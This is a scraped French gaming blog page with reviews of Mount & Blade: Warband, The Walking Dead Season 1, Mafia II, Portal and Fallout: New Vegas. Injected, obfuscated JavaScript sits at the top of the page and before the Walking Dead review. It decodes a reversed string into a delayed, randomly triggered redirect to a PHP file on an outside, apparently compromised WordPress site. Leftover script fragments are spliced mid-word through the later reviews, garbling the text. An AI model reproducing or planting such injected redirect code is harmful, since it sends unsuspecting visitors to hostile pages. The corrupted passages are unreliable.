$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return /" title="Permalink to Mount & Bla$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de: Warband" rel="bookmark">Mount & Blade: Warband

Bien que grandement représenté dans le monde du jeu vidéo, le moyen âge traverse parfois des périodes difficiles. Tous attendent le jeu qui méritera une place dans leur sainte ludothèque, les yeux rivés sur les grands éditeurs. Et pourtant, un studio indépendant sort de l’ombre pour imposer son génie, et parvient à tenir tête même aux tenaces du genre.

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Mount & Blade: Warband prend place dans le pays fictif de Calradia, en état de guerre après l’effondrement du Grand Empire. Six factions se déchirent pour s’approprier le territoire: les Sarranides, les Swadiens, les Rhodoks, les Nords, le Khergit Khanate et les Vaegirs.
Même si on peut regretter que la guerre soit imaginaire et que revivre un conflit réel aurait plu à un grand nombre de joueurs, la fictivité de Calradia lui donne de nombreux avantages. Comme de pouvoir prendre des libertés sur l’histoire de ces terres, ou sur les biomes, très diversifiés. Avec neige, plaines, forêts, steppes et déserts, les paysages sont loin d’être redondants.

Si les développeurs prennent tout de même soin de vous mettre dans le contexte de l’affrontement des Calradiques, il est en revanche important de préciser que M&B:W est un “bac à sable” et qu’il n’a pas de scénario. Vous devrez simplement créer votre propre armée, la faire monter en puissance et choisir le camp pour lequel vous allez vous battre. Mais le but ultime sera de bâtir votre propre faction. Un objectif qui se révélera en réalité bien plus motivant qu’une bête histoire de vengeance.

Pour fonder votre royaume, il faudra d’abord de la renommée – obtenable en gagnant des batailles ou des tournois -, du droit à régner – en envoyant vos compagnons faire de la propagande pour vous -, et avoir de bonnes relations avec des seigneurs, pour pouvoir les recruter en tant que vassaux à votre service. Il n’est pas possible de littéralement « mourir », quand votre santé tombe à zéro, vous êtes seulement assommé. En revanche, si vous perdez trop de batailles et de territoires, vos fidèles vous trahiront, vos soldats déserteront…  Il est plus rapide de le considérer comme un « game over » et retenter votre chance avec une autre partie. Le jeu est déjà un gros challenge; mais pour ceux qui en recherchent encore plus, il existe une option « Impossible de quitter sans sauvegarder » rendant chacune de vos actions irréversible.

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Les batailles ont toujours un véritable souffle épique.

Pour ce qui est du combat, Mount & Blade opte pour un système de parades, qui paraît simple sur le papier mais s’avère vite assez laborieux. Si un ennemi seul ne vous causera pas grand mal, quand plusieurs s’acharnent sur vous, c’est une autre affaire et un véritable défi pour vos réflexes – et en cas d’échec, pour votre système nerveux. D’autant plus frustrant que seulement quelques coups suffisent à vous envoyer au tapis. Pour ceux qui recherchent « encore moins de challenge »… il existe heureusement une option permettant de parer automatiquement les attaques!

On pourrait qualifier M&B:W de « RPG » puisqu’il comporte des éléments de gameplay propres à ce genre: création de votre propre personnage, un système de niveaux, des points de compétences, des vendeurs d’armes et d’armures, des compagnons… Malgré l’absence notable du plaisir de loot. Pas de donjon ni de coffre. L’autre moyen d’obtenir des objets sans passer par les marchands est de remporter des batailles, mais le résultat est souvent peu intéressant.

De plus, il n’échappe pas aux gros défauts qui touche la majorité des créations issues de la sphère indépendante: un résultat visuel tout juste supportable pour vos yeux doublé d’une optimisation aux fraises. Le jeu ne pourra même pas profiter de sa faiblesse graphique pour afficher un plus grand nombre d’unités durant les batailles.

Mount & Blade: Warband incarne pour beaucoup la victoire du fond sur la forme. Simplement grâce à son concept mêlant l’allure d’un Chivalry et l’aspect stratégie d’un Total War, il reste un incontournable pour les fanas d’univers médiévaux et mérite entièrement sa place dans votre ludothèque.

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");retu/" title="Permalink to The Walking Dead: Saison 1" rel="bookmark">The Walking Dead: Saison 1

Avec No Time Left, TellTale vient de mettre un terme à son adaption vidéoludique de l’univers du comics de Robert Kirkman. Si vous pensiez que le genre Point’n Click était mort et enterré, The Walking Dead vous prouve incontestablement le contraire. Retour sur le chef-d’œuvre du studio californien, et assurément le plus gros pincement de cœur de 2012.

 

wlgQue ce soit dans le cinéma, la littérature, ou même les jeux vidéos, les morts vivants ont presque toujours uniquement servi à accentuer la dépression et la folie montante des survivants. Imprévisibles, déséquilibrés et même avares, qu// and la faim parle, même les bons samaritains peuvent vous poignarder lâchement pour s’emparer de votre ration. Le réel danger se révèle rapidement être les vivants et non les morts.  The Walking Dead Saison 1 fait partie des jeux de cette trempe. Ceux qui vont miser sur des relations humaines fortes et une excellente ambiance, plutôt que sur des scènes d’actions bien grasses. Pour les fanas d’expériences scénarisées, c’est un incontournable. Pour les autres, ne fuyez pas, car ce titre est susceptible de séduire même les réfractaires du genre.

Pour vous, l’aventure commence au tout début de la propagation de l’infection, dans la peau de Lee Everett. Suite à une introduction qu’on se gardera de vous spoiler, vous finirez par faire la rencontre de Clémentine, une petite fille effrayée qui a perdu ses parents. Cette rencontre qui pourra paraître anodine, sera en réalité tout l’intérêt du jeu.  À moins d’être un véritable glaçon, il vous sera impossible de ne pas être pris d’empathie pour cette gamine innocente livrée à elle même. Que ce soit par le biais de leur relation et personnalité minutieusement travaillées, leurs excellents doublages ou le naturel de leurs discussions, Lee Everett et Clémentine forment l’un d’un plus beau duos qu’il nous ait été donné de voir, tous médias confondus.

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Un dialogue typique. Le silence est une option.

Si vous n’avez pas eu l’occasion ou l’envie de suivre les péripéties du shérif Rick Grimes, pas d’inquiétude, vous ne devriez pas être déboussolés. Certes, quelques clins d’œil adressés aux connaisseurs du comics vous passeront sous le nez, mais vous n’aurez pas de mal à vous immerger dans cette situation d’horreur. Fort heureusement, les autres membres du casting ne sont pas en reste. Au premier regard, certains pourront vous paraître cliché, mais il n’en est rien. Il suffit de dialoguer un peu avec eux, pour se rendre compte qu’il ont tous reçu un soin énorme de la part de TellTales, qui a repoussé ses limites pour leur donner une personnalité, admirable ou détestable. Chaque joueur se fera un ressenti différent sur les personnages, qui pourront sembler égoïstes pour vous et justes pour d’autres. Tout le long du jeu, leurs caractères restent en évolution constante, au fil de vos choix. Chacune de vos décisions est plus cornélienne que l’autre, et les scénaristes prennent plaisir à vous torturer, en vous mettant parfois dans des situations qui n’ont pas de bonne issue.

Rappelons-le, nous sommes bien dans un « jeu vidéo ». Si la gr// ande majorité du jeu est constituée de cinématiques et de dialogues, c’est en soi ce qui fait la force du titre, et permet, contrairement à un film, non pas de « suivre » une aventure, mais de la vivre.

Malgré des animations robotiques, des choix qui n’ont aucune influence sur le final et des imperfections techniques, on ne peut que saluer le travail effectué. Ces défauts restent bien anecdotiques et se noient dans un océan de qualités. Ce que The Walking Dead Saison 1 perd en technique, il le récupère avec son excellente direction artistique, sa richesse d’écriture ou son scénario touchant qui n’a pas à rougir devant celui du comics du même nom. Avec un prix si généreux – 22,99€ pour l’intégralité des épisodes – on ne peut que vous recomm// ander l’œuvre de TellTale Games.//

Mafia 2

Annoncé courant 2007 et victime de plusieurs reports, Mafia II a su s’attirer les projecteurs. Entre trailers alléchants et la promesse d’une aventure inoubliable, les amoureux de l’ambiance des années fifty n’en pouvaient plus d’attendre. Il aura fallu batailler, mais trois ans plus tard, le jeu attendu comme l’ultime simulateur de mafieux tombe enfin entre nos mains. Une question vous tracasse forcément: tout cela en valait-il vraiment la peine? Verdict.

Le protagoniste principal, Vito Scaletta, est de retour à Empire Bay après son service à l’armée. Il comprend vite ce que signifie être un citoyen honnête : un boulot exaspérant et inhumain à l’usine, des conditions misérables qui vous tuent à petit feu avant d’être achevé par l’alcool. Pour ne pas finir comme son père, broyé par la fatalité, il prend la voie du crime, décidé à se faire un nom dans le milieu. Je vous l’accorde, ce n’est pas très innovant. Oui, l’apprenti mafieux qui veut monter en grade, on en a déjà mangé à toutes les sauces. Cependant le plus important ne sera pas l’histoire, mais la façon de la raconter.

Aidé par des cinématiques plutôt réussies, rendu encore plus crédible grâce à des graphismes splendides, fourmillant de détails et d’une fluidité impériale, le jeu est d’un confort optimal. Malgré des problèmes de synchronisation labiale, l’ensemble reste techniquement plutôt bluffant.

Côté doublage, nos chers français ont fait du bon travail. Même si le jeu de certains acteurs sonne faux, le tout est plutôt convaincant.
Mais bien entendu, tout n’est pas rose… Mafia II souffre d’un gros manque de finition. Le gameplay ne vous étouffera pas sous les innovations. Il faudra se contenter de viser et tirer, avec un système de cover plutôt banal. Le système de bagarre de ne va pas chercher très loin non plus. Le scénario, quoique plutôt intéressant, se voit très rapidement expédié et le dénouement final laissera le joueur sur sa faim. Cela dit, ce ne sont pas les seuls éléments qui nous mettent sur la piste d’un jeu à fort potentiel malheureusement terminé dans la précipitation.

On pourrait voir Mafia II comme un GTA-Like, c’est à dire un grdelay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and terrain de jeu promettant d’innombrables heures d’exploration et d’amusement, entre courses de voitures, mini-jeux, sports, et même quêtes annexes scénarisées… Mais il n’en est rien. Dans Mafia II seule la quête principale sera source de divertissement. Et étant donné sa courte durée de vie – 10H environ – on peut s’interroger sur le prix trop élevé en regard de ce qui est proposé.

Autre détail qui peut fâcher, Vito va grimper les échelon à vitesse lumière. On déplore donc l’absence de sensation de récompense pour son dur labeur. Voici le procédé: après une fin de mission, une cinématique – sans dialogue – s’enchaîne et vous explique que vous quittez votre baraque miteuse pour une villa avec piscine. Bien évidemment, il faut encore rejeter la faute sur la courte durée de vie. Dans la catégorie « pénalisé par la brièveté du jeu », le scénario lui même en est victime, mais arrivera pourtant à en tirer avantage… Contrairement à d’autres open-world qui nous font jouer au bowling entre deux hold-up, Mafia II s’exécute d’une traite, sans aucune pause. Ce qui en fait une épopée forte et immersive. De bonnes impressions renforcées par une excellente mise en scène, une ville qui transpire d’originalité et des graphismes qui ne toussotent pas le moindre défaut. Mais que de déception pour ceux qui s’attendaient à leur plus grdelay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and bdelay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anditisme, mais il ne sera pas l’ultime jeu qu’on attendait tous.

Mafia II est un bon cocktail d’aventure et d’action, qui laissera un arrière-goût amer par sa fin précipitée. Sans être une honte, il ne fait pas honneur à Mafia premier du nom. Mais l’ambiance fifty sacrément bien rendue, les gunfights intenses, les personnages attachants pourront justifier l’achat pour les fans du genre.

Portal

Portal a su éveiller notre curiosité. Un fusil à portail, clic gauche pour ouvrir une entrée, clic droit pour ouvrir une sortie. Si le concept est intriguant et prometteur, une question reste en suspens. S’agit-il d’une simple démonstration des capacités du fusil à portail ? Ou bien d’un jeu léché qui va s’octroyer une place dans la ludothèque de nos plus belles expérience vidéo-ludiques ? Après un peu plus d’une année d’attente, le titre de Valve tombe enfin entre nos mains, prêt à recevoir notre jugement.

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Portal vous place dans la peau d’un sujet d’expérience. Tout juste sortie du sommeil, un robot vous guidera vers les premières phases de tests, à l’aide de haut-parleurs et de caméras disposées un peu partout. Très rapidement tombera entre vos mains le fusil à portail, capable d’ouvrir une entrée d’un clic gauche, et une sortie d’un clic droit. A présent, votre objectif: aller d’un point A à un point B. Eh oui, le scénario n’ira pas chercher plus loin. La courte durée de vie – 3H environ – est évidemment insuffisante pour avoir le temps de raconter une histoire. Mais sincèrement, on n’attendait pas Portal pour son scénario. Mais on regrettera tout de même que l’aventure soit aussi brève.

Les joueurs ayant déjà incarné Gordon Freeman ne seront pas déboussolés. Et cela dès l’écran titre. Les déplacements, les sauts, la physique… cerise sur le gâteau, même les bruitages sont identiques. Portal n’a de différence avec Half-Life 2 que le scénario et le contexte. Feignantise de la part des développeurs ? Peut-être, mais tant mieux!

Sans doute un gros gain de temps, qui a permis de voir arriver Portal sur nos écrans à vitesse lumière. Et même si le moteur source n’a plus sa jeunesse d’autrefois, le résultat reste correct.
En revanche, il s’avère difficile de contempler l’environnement. Limité à des couloirs blancs et vides, il est d’ailleurs fortement déconseillé aux claustrophobes. Vous allez suivre les rails soigneusement placés par les développeurs et jamais vous n’aurez l’occasion de vous en éloigner. Certains jeux couloirs s’évertuent pourtant à nous donner une fausse impression de liberté. Mais dans Portal les murs et les plafonds épais du laboratoire Aperture nous rappellent chaque seconde que nous sommes simplement en train de suivre un chemin.

L’ambiance peut donc paraître terrifiante. Bloqués dans un laboratoire effrayant par ses décors vides de couleurs comme de mobilier… Heureusement, les
interventions loufoques des divers robots sauveront la mise. Un humour très fin qui ne tombera jamais dans la facilité. Chacun d’entre nous esquissera au moins un sourire. Que ce soient les tourelles automatiques à la voix mielleuse ou la voix-off et ses remarques absurdes, l’ambiance est parfaitement contrasté entre le comique et le glauque.

La difficulté des énigmes est diablement bien dosée. Juste assez complexe pour nous donner une sensation de victoire bien méritée. Elles joueront beaucoup (toutes ?) sur la physique, et évidemment sur le fusil à portail. Pour en venir à bout, il faudra soit faire l’effet catapulte, soit rediriger des boules d’électricité dans son lanceur, ou encore, à l’aide du fusil à portail, traverser des obstacles ou des piscines remplies d’acide. D’ailleurs, sur la fin, on ressent parfois une certaine lassitude… l’impression de refaire le cycle des énigmes les une après les autres. Mais cela reste bien anecdotique puisque tout le reste de cette aventure est un vrai plaisir pour les amateurs de casse-têtes. Puis une fois le fonctionnement du fusil à portail bien intégré, on passera tous un petit moment à s’amuser et à chercher des défaillances physiques.

Portal se cherche encore et ça se sent. Et même si on doit reconnaître que les énigmes sont convaincantes, le bébé de Valve se contente de nous faire passer de salle en salle dans des couloirs plutôt vides. Il suffirait d’allier le fusil à portail avec un univers  un poil plus prenant et un visuel dépaysant, et nul doute qu’on obtiendrait un résultat plus que rafraîchissant. Si ces critères ne comptent pas pour vous et que vous êtes simplement un mordu d’énigmes, Portal est le vent de fraîcheur qu’il vous faut.

Fallout: New Vegas

L’air devient chaud, le ciel orange, les arbres morts laissent place aux cactus et aux virevoltants et les immeubles en poussière au sable fin. Vous l’avez compris, votre train a quitté les ruines de Washington DC et embarque pour le désert du Mojave. Cette fois, ce sont les petits gars de chez Obsidian Entertainment qui sont aux commdelay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andes. Et on croise les doigts pour qu’il prenne la bonne destination. Le studio a déjà fait preuve de son savoir-faire en création de jeu de rôle. Pourtant, on note quelques ombres au tableau : cette date de sortie prématurée rimerait-elle avec bâclé? Le moteur graphique vieillissant gâchera-t-il notre excursion post-apocalyptique?
Il aura conquis les nouveaux arrivants, mais laissé un goût amer à tous les fanatiques de la saga : vous vous souvenez sûrement de Fallout 3 et de son orientation action. Ce génocide de pillards et de super mutants était cocasse
pour les mordus d’action, mais totalement grotesque pour les puristes. Fallout: New Vegas rectifie le tir, et vise directement les joueurs nostalgiques de la saga qui avaient été séduits par une écriture de dialogues exemplaire et un humour noir décalé. On attaquera donc par ce qui vous tiendra vraiment en haleine: le scénario.

Dans le Nevada, à quelques kilomètres des néons de New Vegas. Vous incarnez un coursier, ayant pour simple mission d’amener un jeton de platine d’un point à un autre. La faible lumière blanche de la pleine lune éclaire les vallées sauvages et dévastées du désert du Mojave, Au sommet d’une colline, dans un petit cimetière, se déroule une scène aussi glauque que sanglante. Et elle ne tourne pas en votre faveur… Vous êtes enterré et laissé pour mort d’une balle dans la tête! Loin du confort d’un Abri Vault-Tec, vous vous réveillez vivant dans un petit village qui ne paye pas de mine. Un médecin du coin vous a réparé la caboche. Bilan, une cicatrice, une sacrée gueule de bois et une furieuse envie de vengeance. Une fois dehors, vous n’avez qu’une seule idée en tête: retrouver vos agresseurs et éclaircir ce mystère : pourquoi a-t-on tenté de vous assassiner ?

Cette traque vous amènera à croiser action et quêtes annexes scénarisées, mariées à une écriture maîtrisée des dialogues qui ne loupera pas le rendez-vous. Quant à la trame principale, elle est plutôt bien menée même si on regrette que certaines scènes qui auraient pu être épiques tournent au ridicule, gâchées par la limitation technique du jeu. Il se révèle frustrant de voir seulement une dizaine de PNJ assister a une conférence censée être noire de monde. Le même problème persiste pendant les batailles. Tant pis. Il faudra faire appel à l’imagination.

En revanche, dans le précédent opus, la déception a été énorme sur un point: impossible de jouer une ordure, un égoïste prêt à vendre des enfants pour pouvoir se mettre un steak de radcafard sous la dent ou encore un saint prêt à donner son eau purifiée et sa vie pour celle des autres.
Désormais, avec New Vegas, vous allez pouvoir tracer votre propre route, gentil ou méchant. Les développeurs essaieront de ne pas trop vous tenir par la main et vous offrent quatre fins différentes, avec la faction que vous aurez choisie. On se sent important, et nos choix deviennent réellement conséquents.

Pas de miracles, hélas. Une fois la cinématique d’introduction terminée,c’est avec horreur que vous retrouverez à nouveau face à des personnages inexpressifs, empaillés – comme au temps de Fallout 3. Les textures sont moyenâgeuses. Fallout: New Vegas est affreux graphiquement, faiblard et techniquement vieillot. Les fallout n’ont jamais brillé par leurs graphismes, et autant le dire tout de suite, cet épisode ne changera pas la donne. Vous commencerez par pouffer de rire devant les innombrables et improbables bugs qui croiseront votre chemin. Entre les cadavres démembrés qui ressuscitent, les bruitages de villes qui continuent jusqu’en plein milieu du désert, les ennemis bloqués entre les murs… Votre sourire va en réalité vite s’effacer au bout d’un énième plantage du jeu, pour laisser place à une colère qui vous rendra fou à petit feu. La distance d’affichage fait une vingtaine de mètres à tout casser. Les animations sont très rigides et les mouvements lourds. Et non, la gestion des lumières ne sauvera rien. Vous vous dites sûrement qu’au moins des graphismes si pauvres permettront au joueur disposant d’un pc bas de gamme d’accéder au jeu ? Que nenni ! L’optimisation est une catastrophe elle aussi. Du côté des voix françaises, c’est du grdelay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and n’importe quoi. Un désastre. Certains personnages semblent être doublés par des acteurs sortis tout droit de
« Plus belle la vie ». Tellement qu’il est difficile de ne pas les imaginer en train de réciter leur textes dans un studio d’enregistrement. D’autres individus vous parleront subitement en Anglais. Fainéantise ou oubli de la part d’Obsidian? Peu importe, le ratage est complet. Les anglophones pourront contourner cette VF avec une VO plus agréable.

Un des atouts qu’il faut bien accorder à New Vegas: les compagnons sont intéressants. Au fil du temps, si vous leur venez suffisamment en aide, ils finiront par révéler des secrets sur leur passé, ce qui vous amènera à accomplir des quêtes spécialement conçues pour eux. C’est un réel plaisir de les aider et d’apprendre à les connaître, avec leurs failles : tristesse, maladies… Vous ne verrez pas vos compagnons comme des brahmines de stocks, uniquement bons à transporter vos déchets et votre bric-à-brac, mais comme de véritables humains. Cependant, l’un n’empêche pas l’autre; ils pourront qudelay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and même se révéler utiles au combat. Surtout que vous touchez maintenant un bonus spécial qudelay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ils vous accompagnent. Et ils disposent également d’un espace de stockage plutôt large.
On peut joindre l’utile à l’agréable, non?
Des nouveautés sont de la partie, un inventaire plus pratique pour les compagnons, les perks tous les deux niveaux…
Notons aussi l’arrivée d’un mode hardcore qui consistera à donner des besoins à votre personnage, tels que dormir, être hydraté et se nourrir correctement, sous peine de pénalités sur vos statistique S.P.E.C.I.A.L, et pouvant même aller jusqu’à la mort. Les munitions auront du poids, les soins en tous genres, radaway, stimpaks et nourriture vous redonneront progressivement votre santé. Ce mode de jeu ravira les vétérans, mais est fortement déconseillés aux novices.

Bien que le jeu soit plutôt facile, certains ennemis plutôt effrayants et très baraqués vous donneront du fil à retordre. Mais dans l’ensemble votre progression sera plutôt aisée. l’IA pas au poil des ennemis penchera en votre faveur. Bien que parfois peu inspiré artistiquement, en très peu de temps, New Vegas nous livre un terrain certes moins grdelay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and que son prédécesseur, mais bien plus complet. La durée de vie sera d’ailleurs bien plus conséquente et il faudra au moins le double de temps pour venir à bout du nouveau né d’Obsidian.

Il est clair que New Vegas ne comptera pas la maîtrise technique dans ses atouts. Mais pas besoin de graphismes photo-réalistes pour vous immerger dans ce monde ravagé par les têtes nucléaires. Et même si on se serait passés de défauts comme les PNJ parfois peu nombreux durant les batailles, l’optimisation dépêchée, les graphismes d’une autre époque.. Les dialogues, l’importance de vos choix et votre liberté seront des arguments suffisants pour justifier votre achat, et même si vous ne retrouvez pas les sensations des premiers opus, votre âme de rôliste sera comblée.